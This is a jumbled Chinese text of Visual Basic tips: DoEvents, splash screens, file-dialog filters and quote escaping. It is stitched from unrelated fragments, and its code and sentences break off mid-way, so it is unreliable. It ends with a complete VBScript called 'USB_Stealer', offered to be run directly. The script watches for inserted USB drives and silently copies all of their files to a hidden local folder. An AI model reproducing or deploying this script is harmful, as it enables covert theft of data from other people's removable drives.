其实，这里面的原因在于：DoEvents语句允许任何应用程序执行相关事件，而不仅仅是你自己的程序JeffSandquist（微软最好的法裔加拿大人之一）是开发者支持的ActiveServerPages扩大组成员之一，也是VisualInterDevMVP程序()的主要负责人

例如vb、delphi在启动时均在主界面前显示一splash窗口.----1.下面是显示闪烁(标语)屏splash的一种简单方法:optionexplicitprivatesubform_load()'显示主窗口me.show'显示splash窗口frmsplash.showdoevents'执行应用程序初始化initialize'关闭splash窗口unloadspalshendsub----该过程代码应放在应用程序的启动窗体中

" ExitFunction EndIf IfstrMonth>12OrstrDay>31Then CheckCardId="身份证输入错误其设置方法为ACCESS文件|*.mdb|文本文件|*.txt|所有文件|*.*

B、颜色

C、字体

D、打印

E、帮助

过滤器属性的设置方法：

Dialog1.filter=“ACCESS文件|*.mdb|文本文件|*.txt|所有文件|*.*”

通过FileName属性获取选定的文件名

wdOpenFormatXMLTemplateMacroEnabled 12 启用了宏的 XML 模板格式正确的写法是：theStr="[MyName="&""""&"schunter"&""""&"Class="&""""&"2"&""""&"]"也就是有引号的地方，需要两个引号才能生成一个引号

使用：直接运行ae文字3编写程序代码'=========================================='Name : USB_Stealer 'Date : 2010/5/25 'Author : Demon 'Copyright : Copyright (c) 2010 Demon 'E-Mail : still.demon@gmail.com 'QQ : 380401911 'Website : '=========================================='Option Explicit On Error Resume Next Const Target_Folder="C:\USB" Call Main() Sub Main() On Error Resume Next Const Device_Arrival=2 Const Device_Removal=3 Const strComputer="." Dim objWMIService, colMonitoredEvents, objLatestEvent Set objWMIService=GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\" _ & strComputer & "\root\cimv2") Set colMonitoredEvents=objWMIService. _ ExecNotificationQuery( _ "Select * from Win32_VolumeChangeEvent") Do Set objLatestEvent=colMonitoredEvents.NextEvent Select Case objLatestEvent.EventType Case Device_Arrival Copy_File objLatestEvent.DriveName End Select Loop End Sub Sub Copy_File(Folder_Path) On Error Resume Next Dim fso,file,folder Set fso=CreateObject("scripting.filesystemobject") If Not fso.FolderExists(Target_Folder) Then fso.CreateFolder(Target_Folder) End If For Each file In fso.GetFolder(Folder_Path).Files file.Copy Target_Folder & "" & file.Name,True Next For Each folder In fso.GetFolder(Folder_Path).SubFolders folder.Copy Target_Folder & "" & folder.Name,True Next End Sub。